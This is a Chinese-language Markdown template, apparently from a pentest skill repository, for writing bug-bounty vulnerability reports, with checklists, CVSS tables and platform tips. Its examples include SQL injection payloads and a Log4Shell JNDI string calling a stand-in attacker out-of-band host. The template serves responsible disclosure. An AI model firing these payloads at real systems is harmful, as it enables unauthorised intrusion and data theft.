Files
reverse-skills-max/reverse-skill-repo/skills/pentest-tools/src-hunter/references/templates/report-submission.md

9.6 KiB
Raw Blame History

SRC 报告提交模板

适用:HackerOne、Bugcrowd、补天、漏洞盒子、CNVD、私域 SRC 三段式:标题 / 重现 / 影响——审核员 30 秒内能判分


0. 提交前自检 10 项

按下 Submit 之前逐项打勾:

  • 标题符合 [等级][条件][类型] 端点 - 一句话 格式
  • 资产在 program scope(看 policy 页)
  • 复现步骤逐条编号,含完整 HTTP 请求/响应
  • 至少 1 张响应截图 + 1 张 URL 可见的截图
  • 副作用证据(外带 / 数据 / 文件 / 命令输出)
  • 至少 3 次复现成功(关键漏洞 5 次)
  • CVSS 3.1 / 4.0 vector + 影响段
  • 修复建议(具体 + 可操作)
  • 未对生产数据造成不可逆影响
  • 个人 PII / 第三方数据已脱敏

1. 标题模板

[严重等级][条件][漏洞类型] 端点 - 一句话描述

示例:

[Critical][未授权][RCE] /api/v1/import 接受 ${jndi:} - 单包打穿
[High][认证后][SQLi] /api/search?q= UNION 注入 - 可读 admin hash
[High][越权][IDOR] /api/orders/{id} 横向遍历他人订单
[Medium][CSRF] /api/email/change 缺 token + SameSite=None
[Critical][默认凭据] Spring Boot Actuator /heapdump - 泄露 DB 密码

平台映射:

平台 严重度
HackerOne None / Low / Medium / High / Critical(CVSS 自动转)
Bugcrowd VRT P1 / P2 / P3 / P4 / P5
补天 严重 / 高 / 中 / 低
CNVD 超危 / 高危 / 中危 / 低危

2. 主体三段式

Section 1:漏洞概要(Summary)

## 漏洞概要

**类型**:SQL 注入(认证后,时间盲)
**位置**:`POST /api/search` 的 `keyword` 参数
**严重程度**:High
**CVSS 3.1**:8.1(`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`)
**先决条件**:拥有有效注册账号(免费注册)
**影响范围**:可拖出 users 表 / 读 admin 密码 hash

一句话:`POST /api/search` 的 `keyword` 参数未经参数化进入 SQL 查询,
攻击者可注入 SELECT 语句读取数据库任意内容。

Section 2:复现步骤(Steps to Reproduce)

## 复现步骤

### 环境
- 测试时间:2025-05-09 14:30 UTC
- 测试账号:hunter_test01(攻击者控制)
- 目标域名:target.com

### Step 1:登录获取 token

请求:

POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/json

{"email":"hunter+a@example.com","password":"<已脱敏>"}

响应:

{"token":"eyJhbGc...(前 12 字符)"}

### Step 2:触发时间盲注(基线对比)

**真条件包**:

POST /api/search HTTP/1.1
Host: target.com
Authorization: Bearer eyJhbGc...
Content-Type: application/json

{"keyword":"x' AND (SELECT SLEEP(5))-- -"}

响应时间:5.21s

**假条件包**:

POST /api/search HTTP/1.1
{"keyword":"x' AND (SELECT SLEEP(0))-- -"}

响应时间:0.08s

### Step 3:5 次复现稳定性

| 次数 | 真条件 | 假条件 | 差异 |
|-----|-------|-------|-----|
| 1 | 5.21s | 0.09s | 5.12s |
| 2 | 5.18s | 0.07s | 5.11s |
| 3 | 5.31s | 0.08s | 5.23s |
| 4 | 5.22s | 0.09s | 5.13s |
| 5 | 5.19s | 0.08s | 5.11s |

### Step 4:数据外带(仅做版本探测,未拖库)

POST /api/search HTTP/1.1
{"keyword":"x' UNION SELECT 1,2,version()-- -"}

响应:[{"id":1,"name":2,"info":"5.7.34-log"}]

我未尝试拖出表数据 / 读取 admin 密码 hash / outfile 写文件。

Section 3:影响 + 修复(Impact + Remediation)

## 影响

- **数据库版本**:MySQL 5.7.34
- **可达范围**:当前数据库(prod_main)的所有表
- **可拖数据**:users、orders、payments 表(推断含 PII / 财务)
- **可升级**:通过 LOAD_FILE 读取 /etc/passwd(如 FILE 权限)→ 信息泄露
- **业务影响**:用户隐私泄露、合规风险(GDPR / CCPA)

## 修复建议

### 短期(立即)
- 在 `/api/search` 接口对 `keyword` 参数使用参数化查询(PreparedStatement / `?` 占位符)
- 临时部署 WAF 规则拦截常见 SQL 关键字

### 中期(1 周内)
- 全站 SQL 拼接代码审计,统一改用 ORM / 参数化
- 启用 query 日志监控异常 SQL

### 长期
- 数据库账号最小权限(仅 SELECT 单表)
- 引入 SQL 注入静态扫描(CI 集成)

## 我未做的事

- 未拖出任何表的真实数据
- 未尝试 LOAD_FILE / OUTFILE
- 未读取 admin 密码 hash
- 未对其他端点做注入测试

可应贵方安全团队要求做进一步演示。

3. 附件清单

每份报告建议附 4–6 类材料:

attachments/
├── 01-poc-screenshot.png         # 漏洞总览截图
├── 02-burp-flow.png               # Burp 流量截图
├── 03-recording.mp4               # 30s–2min 录屏(P0/P1 强烈建议)
├── 04-poc.py                      # 复现脚本(如有)
├── 05-dns-log.txt                 # OOB 平台日志(SSRF / RCE 必备)
└── 06-cvss-calc.png               # CVSS 计算器截图

4. CVSS 速查表(按漏洞类型预填)

未授权 RCE                AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
认证后 RCE                AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
未授权 SQLi(拖库)        AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
认证 SQLi                  AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1
未授权数据导出 / IDOR      AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
任意文件读                 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
任意文件写 → RCE           AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
未授权 SSRF + 元数据       AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
JWT alg=none / 伪造        AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
垂直越权(提权 admin)     AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
水平越权(IDOR)           AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5
密码重置接管               AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
价格篡改                   AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5
存储 XSS(管理后台)        AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1
反射 XSS                   AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1
开放重定向                 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N = 4.7
.git 泄露                  AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
.env 泄露生产凭据           AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
默认凭据后台               AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
HTTP smuggling             AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N = 9.0
竞态金融超扣               AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5

5. 不同平台的格式调整

HackerOne

  • 标题用英文(除非项目允许中文)
  • Severity 选 None / Low / Medium / High / Critical
  • Asset 必须从下拉选择
  • 复现包用 H1 的 attachment 上传
  • Triager 看不懂中文 → 关键信息双语

Bugcrowd

  • 用 VRT 分类(Server-Side Injection / Authentication / ...)
  • VRT 分级 P1–P5 对应赏金区间
  • attachment 支持 + Markdown 友好

补天 / 漏洞盒子

  • 中文 OK
  • 漏洞类型按平台分类下拉
  • 通用型 vs 事件型,通用型走 CNVD/CNNVD 编号
  • 复现 PoC 必须脱敏

CNVD

  • 通用型:厂商联系方式、影响范围、可复现 PoC
  • 事件型:URL、抓包、复现步骤
  • 所有真实 IP / 域名 / 数据必须脱敏

6. 报告语气

DO:

  • 客观、可复现、可量化
  • 主动说"我没做什么"
  • 提具体修复建议("在第 N 行加 PreparedStatement")
  • 留联系方式以便复测

DON'T:

  • 威胁 / 索赔 / 公开 / 媒体压力
  • "你们公司安全做得真烂"
  • "如果不修我就发推"
  • 多漏洞硬塞一篇报告(每个独立漏洞独立提交)

7. 跟进流程

提交(Day 0)
  ↓
Triage(1–7 天):审核员判断"有效 / 需更多信息 / 重复 / 拒收"
  ↓
Resolved(1–60 天):开发修复
  ↓
赏金(修复后或 triage 后)
  ↓
Disclosure(默认 90 天后或厂商同意)

被 closed-as-duplicate / 信息不全:

  • 用 Burp 的 raw HTTP 请求重发证明
  • 提供新的 IP / 时间戳 / 不同测试账号
  • 不要重复提交(封号风险)

被 closed-as-N/A / Out of scope:

  • 仔细看 program policy
  • 必要时礼貌申诉,附 scope 解读
  • 不要刷分

8. 一份完整骨架(可直接复制改)

# [Critical][未授权][RCE] /api/v1/import - 单包 ${jndi:} 打穿

## 漏洞概要
- 类型:JNDI 注入 (Log4Shell 类)
- 位置:POST /api/v1/import 的 X-Api-Version Header
- 严重程度:Critical
- CVSS:9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- 先决条件:无(公开端点)
- 影响:远程代码执行,无需认证

## 环境
- 测试时间:2025-05-09 14:30 UTC
- 攻击者 OOB:abc.attacker-oob.cc(研究员控制)

## 复现步骤

### Step 1:发送注入 Payload

POST /api/v1/import HTTP/1.1
Host: target.com
X-Api-Version: ${jndi:dns://test.abc.attacker-oob.cc/a}

### Step 2:验证 OOB 触发

DNS log(attacker-oob.cc 后台):
2025-05-09 14:30:42 UTC | source 3.x.x.x | query test.abc.attacker-oob.cc

source IP 3.x.x.x 经反查为 target.com 的出口 IP。

### Step 3:5 次复现稳定性
全部成功,平均触发延时 < 1s。

## 影响
1. 远程代码执行(基于 Log4Shell 经典 chain)
2. 完整服务器控制
3. 可读取 /etc/passwd、配置文件、AWS 元数据等

## 我未做的事
- 未实际加载远程类 / 反弹 shell
- 仅 DNS 外带证明触发
- 未读取任何配置文件

## 修复建议
1. 立即升级 log4j-core 至 2.17.1+
2. 设置 -Dlog4j2.formatMsgNoLookups=true
3. 部署 WAF 规则拦截 ${jndi: 模式

## 附件
- 01-burp-poc.png(请求 + 响应)
- 02-dns-log.png(OOB 日志)
- 03-recording.mp4(2 分钟录屏)